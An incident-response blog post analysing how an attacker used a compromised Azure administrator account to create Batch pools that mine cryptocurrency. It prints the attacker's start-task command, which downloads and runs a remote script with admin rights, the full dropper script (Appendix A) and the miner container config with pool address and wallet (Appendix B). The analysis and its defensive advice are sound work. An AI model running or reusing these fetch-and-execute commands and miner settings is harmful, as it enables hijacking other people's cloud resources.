Azure Batch Misused for Crypto Mining
Table of Contents
Introduction
A huge thanks to the Invictus-IR team for proofreading this blog post 🙏
Recently, I posted a tweet regarding an unpatched TeamCity server that an attacker exploited to deploy a CoinMiner. In response to my tweet, the X (former Twitter) user, the cybersecurity doge, shared another story they investigated:
An attacker obtained access to an administrator Azure environment user. Once logged on the tenant he created a resource group, and built 3 different batch accounts insides. Meanwhile, he opened a ticket to MS support asking for the increase of batch’s limit. Why? The limit increase was needed in order to boost on mining capacity. In fact, once the batch accounts were created, he built on these a complete autonomous crypto-mining system. The attacker used the miner reported above to mine crypto currency. [1]
In this blog post, we explore the Azure Batch capabilities before diving into the logs from the incident described above (the logs were provided to us by the X (former Twitter) user “the cybersecurity doge” - unfortunately, we didn’t have access to the affected Tenant at any time).
Background
What is Azure Batch?
Azure Batch is a platform service for running large-scale parallel and HPC applications efficiently in the cloud. Azure Batch schedules compute-intensive work to run on a managed pool of virtual machines, and can automatically scale compute resources to meet the needs of your jobs. [2]
We will provide a brief walkthrough on how to create a new Azure Batch service. This will help comprehend the steps the attackers took, as outlined in the next section. Please refer to the official documentation for a more comprehensive discussion on Azure Batch.
Step 1 - New batch account
First and foremost, we create a new Batch account. We create a new Resource group (named dfir.ch), within which our Batch account will be part of. The Batch account name will be dfir.

Step 2 - Deployment is complete
The deployment is complete, and we can go to our created resource (click on Go to resource).

Step 3 - Resource group - Activity log
When inspecting the Activity log of the newly created Resource group, we find the following operations:
| localizedValue | operationName:value |
|---|---|
| Update resource group | Microsoft.Resources/subscriptions/resourceGroups/write |
| Validate deployment | Microsoft.Resources/deployments/validate/action |
| Create or Update Batch Account | Microsoft.Batch/batchAccounts/write |
| Create Deployment | Microsoft.Resources/deployments/write |

Step 4 - Batch account - Activity log
Here is the operation from the Activity log from the Batch account:
| localizedValue | operationName:value |
|---|---|
| Create or Update Batch Account | Microsoft.Batch/batchAccounts/write |

Step 5 - Add pool
Next, we create a new pool. In Azure Batch, a pool refers to a collection of compute resources (virtual machines) used to execute batch processing tasks. When you create a pool in Azure Batch, you specify the configuration details, such as the size and type of virtual machines, the operating system, and other settings. In the example, we spin up a new Ubuntu Server. The pool will be named dfir.
| localizedValue | operationName:value |
|---|---|
| Create or Update Pool | Microsoft.Batch/batchAccounts/pools/write |

Step 6 - Start Task
Within the parameters required to initiate the pool, we have the option to define a Start Task. Please bear this in mind for the discussion later when we delve into the steps executed by the attacker.
In Azure Batch, StartTask is a concept related to configuring tasks within a job. When you define a job in Azure Batch, you can specify a StartTask that runs before any other tasks in the job. The StartTask is typically used for setup or initialization tasks that need to be performed before the main batch processing tasks begin.

Step 7 - Adjust Quota
For capacity management purposes, the default quotas for new Batch accounts in some regions and for some subscription types have been reduced from the above range of values. In some cases, these limits have been reduced to zero. When you create a new Batch account, check your quotas and request an appropriate core or service quota increase, if necessary.
This is exactly the case in our Tenant. To run the App pool, we must adjust our Quota. To request an increase beyond this limit, contact Azure Support. [3] Keep that in mind, too, for the next section.

Step 8 - Profit 💰 (as an attacker)
These steps, particularly the Start Task, are crucial for comprehending the attack flow, which we will discuss in the next section of this blog post. If the Quota is adjusted, our newly created Pool will spin up and execute the Start Task as configured.
Attacker’s action
In this section, we outline the attackers’ traces, as good as it gets, because we didn’t have access to the Tenant, but were provided with the logs of the incident (see the introduction section).
Creation of the Batch-Account
A new Batch Account named websecv1 is created inside the resource group Bch.
[
{
"provisioningOperation": "Create",
"provisioningState": "Succeeded",
...
"statusCode": "OK",
"targetResource": {
"id": "/subscriptions/[REDACTED]/resourceGroups/Bch/
providers/Microsoft.Batch/batchAccounts/websecv1",
"resourceType": "Microsoft.Batch/batchAccounts",
"resourceName": "websecv1"
}
}
}
Support needed 💜
The compromised Tenant analyzed by “the cybersecurity doge” had initially set the Quota to 0, preventing the attacker from spinning up new App pools. Consequently, the attacker contacted the Microsoft support and requested an adjustment to the Quota.

Here is an overview of the support requests that the attacker opened:

Creation of the pool
The Batch-Account websecv1 started a new Pool named WebApp, a Linux Ubuntu server.
{
"id": "WebApp",
"displayName": null,
"url": "/subscriptions/[REDACTED]/resourceGroups/bch/
providers/Microsoft.Batch/batchAccounts/websecv1/pools/WebApp",
...
"vmSize": "STANDARD_F8",
"virtualMachineConfiguration": {
"imageReference": {
"publisher": "canonical",
"offer": "0001-com-ubuntu-server-focal",
"sku": "20_04-lts",
"version": "latest",
"virtualMachineImageId": null,
"exactVersion": "latest"
},
"nodeAgentSKUId": "batch.node.ubuntu 20.04",
"licenseType": null,
"diskEncryptionConfiguration": {},
"nodePlacementConfiguration": {
"policy": "Regional"
}
},
Utilising the startTask
In our short introduction to Azure Batch at the start of this post, we introduced Start Task. The attacker used this mechanism (start task) to instruct the newly spawned machine to download a bash script from GitHub.
wget -O ssl.sh https://raw.githubusercontent[.]com/max313iq/Ssl/main/ba.sh
Appendix A depicts the full script, which is still available on GitHub as of the creation of this blog. The script installs docker, which is used to pull a malicious docker container from docker hub, which will be the workhorse for the mining process.
"startTask": {
"commandLine": "/bin/bash -c \"wget -O ssl.sh
https://raw.githubusercontent[.]com/max313iq/Ssl/main/ba.sh
&& chmod +x ssl.sh && ./ssl.sh\"",
"userIdentity": {
"username": null,
"autoUser": {
"scope": "task",
"elevationLevel": "admin"
}
},
"maxTaskRetryCount": 3,
"waitForSuccess": true
},
Pool is successfully started
Once the pool is started, the Start Task is executed (see the poolQuota set to 100?).
{
"id": "/subscriptions/[REDACTED]/resourceGroups/bch/
providers/Microsoft.Batch/batchAccounts/websecv1",
"name": "websecv1",
"status": "Succeeded",
"resourceGroupName": "bch",
"subscriptionId": "[REDACTED]",
"regionId": "eastus",
"accountProperties": {
"accountEndpoint": "<redacted>.batch.azure.com",
"provisioningState": "Succeeded",
"dedicatedCoreQuota": 350,
"lowPriorityCoreQuota": 2990,
"poolQuota": 100,
"activeJobAndJobScheduleQuota": 300,
"encryption": {
"keySource": "Microsoft.Batch"
}
But wait.. how does that work with the docker container?
I’m glad you asked. Here is the relevant code from the malicious bash script, which was downloaded from GitHub and executed via Start Task:
# Run Docker container with initial POOL_URL
export POOL_URL=$(curl -s https://raw.githubusercontent[.]com/max313iq/Ssl/main/ip)
sudo docker run -d -e POOL_URL="$POOL_URL" ubtssl/webappx:latest
This, however, does not give much away, right? We see that a pool URL is fetched from GitHub and passed to the docker container in a variable.
We pull the docker container first:
docker pull ubtssl/webappx
And save the relevant files in a TAR archive:
docker save ubtssl/webappx > webappx.tar
Extracting the archive:
tar -xvf webappx.tar
We also find the JSON file with the instructions for the docker container (see Appendix B). The gist is that the binary xm, a coin miner, is run with various arguments (for more information about the arguments, see Appendix B).
"/bin/sh",
"-c",
"python -m http.server 80 & ./xm
-o $POOL_URL
-u $POOL_USER
-p $POOL_PW
-a $ALGO
-k --max-cpu-usage=$CPU
--no-title
--log-file=log.txt
--donate-over-proxy=$POOL_URL $TLS"
And that’s it. The attacker was only motivated by financial gain, not in exfiltrating data, setting up persistence, or pivoting into the on-prem network of the affected customer.
Conclusion
As demonstrated in the initial walkthrough, creating new pools with Azure Batch is relatively straightforward, assuming the Quota is appropriately configured. As the steps taken by the attacker have shown, contacting Microsoft Support to adjust the Quota is trivial and will not be a big hurdle once administrative rights have been gained in the Tenant. Here is a short recap of what we could do better:
- Enable Multi-Factor-Authentication - because yes, the breached account from the customer was not protected by Multi-Factor-Authentication.
- Check your Risky Sign-Ins
- Create an anomaly alert
Good luck ☘️
Appendix A - ba.sh
#!/bin/bash
# Function to update the environment variable and restart Docker container
update_and_restart() {
new_pool_url=$(curl -s https://raw.githubusercontent[.]com/max313iq/Ssl/main/ip)
if [ "$new_pool_url" != "$POOL_URL" ]; then
echo "Updating POOL_URL to: $new_pool_url"
export POOL_URL=$new_pool_url
sudo docker stop $(sudo docker ps -q --filter ancestor=ubtssl/webappx:latest)
sudo docker run -d -e POOL_URL="$POOL_URL" ubtssl/webappx:latest
else
echo "No updates found."
fi
}
# Install Docker
sudo apt-get update --fix-missing
sudo apt-get install -y \
apt-transport-https \
ca-certificates \
curl \
software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update --fix-missing
sudo apt-get install -y docker-ce docker-ce-cli containerd.io
# Run Docker container with initial POOL_URL
export POOL_URL=$(curl -s https://raw.githubusercontent[.]com/max313iq/Ssl/main/ip)
sudo docker run -d -e POOL_URL="$POOL_URL" ubtssl/webappx:latest
# Allow some time for the container to start before entering the update loop
sleep 10
# Continuous loop to check for updates
while true; do
sleep 1200 # Check every hour (adjust as needed)
update_and_restart
done
Appendix B - 00ca23e288f0686e5721b097f9617e2a05ad84508e84f0c27dee2c97261ae0a1.json
{
"architecture": "amd64",
"config": {
"User": "root",
"ExposedPorts": {
"80/tcp": {}
},
"Env": [
"PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"LANG=C.UTF-8",
"GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568",
"PYTHON_VERSION=3.9.18",
"PYTHON_PIP_VERSION=23.0.1",
"PYTHON_SETUPTOOLS_VERSION=58.1.0",
"PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/4cfa4081d27285bda1220a62a5ebf5b4bd749cdb/public/get-pip.py",
"PYTHON_GET_PIP_SHA256=9cc01665956d22b3bf057ae8287b035827bfd895da235bcea200ab3b811790b6",
"POOL_URL=172.200.110.72:3333",
"POOL_USER=ZEPHYR3WLwbe4Nc9NgSMm1ZFcoZgLBLmqRnDqqRTYgjviBYvJ4GQjSQAwAGASA5CfwbS1AFXCGjmtXHTSBAER2fRjNbEnQGTBDD1X",
"POOL_PW=TEST",
"ALGO=rx/0",
"TLS=--tls",
"CPU=100"
],
"Cmd": [
"/bin/sh",
"-c",
"python -m http.server 80 & ./xm -o $POOL_URL -u $POOL_USER -p $POOL_PW -a $ALGO -k --max-cpu-usage=$CPU --no-title --log-file=log.txt --donate-over-proxy=$POOL_URL $TLS"
],
"WorkingDir": "/home/miner",
"ArgsEscaped": true,
"OnBuild": null
},
"created": "2024-01-03T06:31:11.0826861Z",
"history": [
{
"created": "2023-12-19T01:20:27.649112832Z",
"created_by": "/bin/sh -c #(nop) ADD file:ac3cd70031d35e46d86b876934946ffc8756de4de065fbc926dce642dac07ff3 in / "
},
{
"created": "2023-12-19T01:20:28.009626995Z",
"created_by": "/bin/sh -c #(nop) CMD [\"bash\"]",
"empty_layer": true
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "ENV PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "ENV LANG=C.UTF-8",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "RUN /bin/sh -c set -eux; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tca-certificates \t\tnetbase \t\ttzdata \t; \trm -rf /var/lib/apt/lists/* # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "ENV GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "ENV PYTHON_VERSION=3.9.18",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "RUN /bin/sh -c set -eux; \t\tsavedAptMark=\"$(apt-mark showmanual)\"; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tdpkg-dev \t\tgcc \t\tgnupg \t\tlibbluetooth-dev \t\tlibbz2-dev \t\tlibc6-dev \t\tlibdb-dev \t\tlibexpat1-dev \t\tlibffi-dev \t\tlibgdbm-dev \t\tliblzma-dev \t\tlibncursesw5-dev \t\tlibreadline-dev \t\tlibsqlite3-dev \t\tlibssl-dev \t\tmake \t\ttk-dev \t\tuuid-dev \t\twget \t\txz-utils \t\tzlib1g-dev \t; \t\twget -O python.tar.xz \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz\"; \twget -O python.tar.xz.asc \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz.asc\"; \tGNUPGHOME=\"$(mktemp -d)\"; export GNUPGHOME; \tgpg --batch --keyserver hkps://keys.openpgp.org --recv-keys \"$GPG_KEY\"; \tgpg --batch --verify python.tar.xz.asc python.tar.xz; \tgpgconf --kill all; \trm -rf \"$GNUPGHOME\" python.tar.xz.asc; \tmkdir -p /usr/src/python; \ttar --extract --directory /usr/src/python --strip-components=1 --file python.tar.xz; \trm python.tar.xz; \t\tcd /usr/src/python; \tgnuArch=\"$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)\"; \t./configure \t\t--build=\"$gnuArch\" \t\t--enable-loadable-sqlite-extensions \t\t--enable-optimizations \t\t--enable-option-checking=fatal \t\t--enable-shared \t\t--with-system-expat \t\t--without-ensurepip \t; \tnproc=\"$(nproc)\"; \tEXTRA_CFLAGS=\"$(dpkg-buildflags --get CFLAGS)\"; \tLDFLAGS=\"$(dpkg-buildflags --get LDFLAGS)\"; \tLDFLAGS=\"${LDFLAGS:--Wl},--strip-all\"; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:-}\" \t\t\"PROFILE_TASK=${PROFILE_TASK:-}\" \t; \trm python; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:--Wl},-rpath='\\$\\$ORIGIN/../lib'\" \t\t\"PROFILE_TASK=${PROFILE_TASK:-}\" \t\tpython \t; \tmake install; \t\tcd /; \trm -rf /usr/src/python; \t\tfind /usr/local -depth \t\t\\( \t\t\t\\( -type d -a \\( -name test -o -name tests -o -name idle_test \\) \\) \t\t\t-o \\( -type f -a \\( -name '*.pyc' -o -name '*.pyo' -o -name 'libpython*.a' \\) \\) \t\t\\) -exec rm -rf '{}' + \t; \t\tldconfig; \t\tapt-mark auto '.*' > /dev/null; \tapt-mark manual $savedAptMark; \tfind /usr/local -type f -executable -not \\( -name '*tkinter*' \\) -exec ldd '{}' ';' \t\t| awk '/=>/ { so = $(NF-1); if (index(so, \"/usr/local/\") == 1) { next }; gsub(\"^/(usr/)?\", \"\", so); printf \"*%s\\n\", so }' \t\t| sort -u \t\t| xargs -r dpkg-query --search \t\t| cut -d: -f1 \t\t| sort -u \t\t| xargs -r apt-mark manual \t; \tapt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \trm -rf /var/lib/apt/lists/*; \t\tpython3 --version # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "RUN /bin/sh -c set -eux; \tfor src in idle3 pydoc3 python3 python3-config; do \t\tdst=\"$(echo \"$src\" | tr -d 3)\"; \t\t[ -s \"/usr/local/bin/$src\" ]; \t\t[ ! -e \"/usr/local/bin/$dst\" ]; \t\tln -svT \"$src\" \"/usr/local/bin/$dst\"; \tdone # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "ENV PYTHON_PIP_VERSION=23.0.1",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "ENV PYTHON_SETUPTOOLS_VERSION=58.1.0",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "ENV PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/4cfa4081d27285bda1220a62a5ebf5b4bd749cdb/public/get-pip.py",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "ENV PYTHON_GET_PIP_SHA256=9cc01665956d22b3bf057ae8287b035827bfd895da235bcea200ab3b811790b6",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "RUN /bin/sh -c set -eux; \t\tsavedAptMark=\"$(apt-mark showmanual)\"; \tapt-get update; \tapt-get install -y --no-install-recommends wget; \t\twget -O get-pip.py \"$PYTHON_GET_PIP_URL\"; \techo \"$PYTHON_GET_PIP_SHA256 *get-pip.py\" | sha256sum -c -; \t\tapt-mark auto '.*' > /dev/null; \t[ -z \"$savedAptMark\" ] || apt-mark manual $savedAptMark > /dev/null; \tapt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \trm -rf /var/lib/apt/lists/*; \t\texport PYTHONDONTWRITEBYTECODE=1; \t\tpython get-pip.py \t\t--disable-pip-version-check \t\t--no-cache-dir \t\t--no-compile \t\t\"pip==$PYTHON_PIP_VERSION\" \t\t\"setuptools==$PYTHON_SETUPTOOLS_VERSION\" \t; \trm -f get-pip.py; \t\tpip --version # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2023-10-21T21:17:19Z",
"created_by": "CMD [\"python3\"]",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-12-19T05:37:59.7007355Z",
"created_by": "RUN /bin/sh -c apt-get update \t&& apt-get install -y wget \t&& rm -rf /var/lib/apt/lists/* # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2023-12-19T05:37:59.929861Z",
"created_by": "USER root",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-12-19T05:37:59.929861Z",
"created_by": "ENV POOL_URL=172.200.110.72:3333",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-12-19T05:37:59.929861Z",
"created_by": "ENV POOL_USER=ZEPHYR3WLwbe4Nc9NgSMm1ZFcoZgLBLmqRnDqqRTYgjviBYvJ4GQjSQAwAGASA5CfwbS1AFXCGjmtXHTSBAER2fRjNbEnQGTBDD1X",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-12-19T05:37:59.929861Z",
"created_by": "ENV POOL_PW=TEST",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-12-19T05:37:59.929861Z",
"created_by": "ENV ALGO=rx/0",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-12-19T05:37:59.929861Z",
"created_by": "ENV TLS=--tls",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-12-19T05:37:59.929861Z",
"created_by": "ENV CPU=100",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2023-12-19T05:37:59.929861Z",
"created_by": "WORKDIR /home/miner",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2024-01-03T06:31:11.0826861Z",
"created_by": "RUN /bin/sh -c wget https://github.com/ddao2604/tech/releases/download/1.0/xm \t&& chmod +x xm # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2024-01-03T06:31:11.0826861Z",
"created_by": "EXPOSE map[80/tcp:{}]",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
},
{
"created": "2024-01-03T06:31:11.0826861Z",
"created_by": "CMD [\"/bin/sh\" \"-c\" \"python -m http.server 80 & ./xm -o $POOL_URL -u $POOL_USER -p $POOL_PW -a $ALGO -k --max-cpu-usage=$CPU --no-title --log-file=log.txt --donate-over-proxy=$POOL_URL $TLS\"]",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
}
],
"os": "linux",
"rootfs": {
"type": "layers",
"diff_ids": [
"sha256:7292cf786aa89399bca4e3edd105d3b2ee0683a46ef1f5ff436c0f9d1d49e765",
"sha256:384858ccd7ef0b8449b819cd61b39fc4560e476326c0bd5168523907c26bf527",
"sha256:661ecc6e457f9c02b88f17feb970479d46de0f5718bb6150a9fe82a647ace545",
"sha256:a1e3c54d75a8292d27947a0da787b866c9f5321b7ed6c9d4846dda49e9db929d",
"sha256:4cec408baceeb81dbf260406a6f6fbb83b8f333565be1bfc27fdc057a611d691",
"sha256:60ff5d2e362b72b37cf9cb0148df2c5439db453c86c565eb8d90d96467593e5b",
"sha256:0c30d75369fe41b607c575e475b86b19b46df7815d957be6f51dd572a0a59ab9",
"sha256:014aa269cf22f6d71b7e1e3ceee35a6c233d24ede117db81b2df977404fc5016"
]
}
}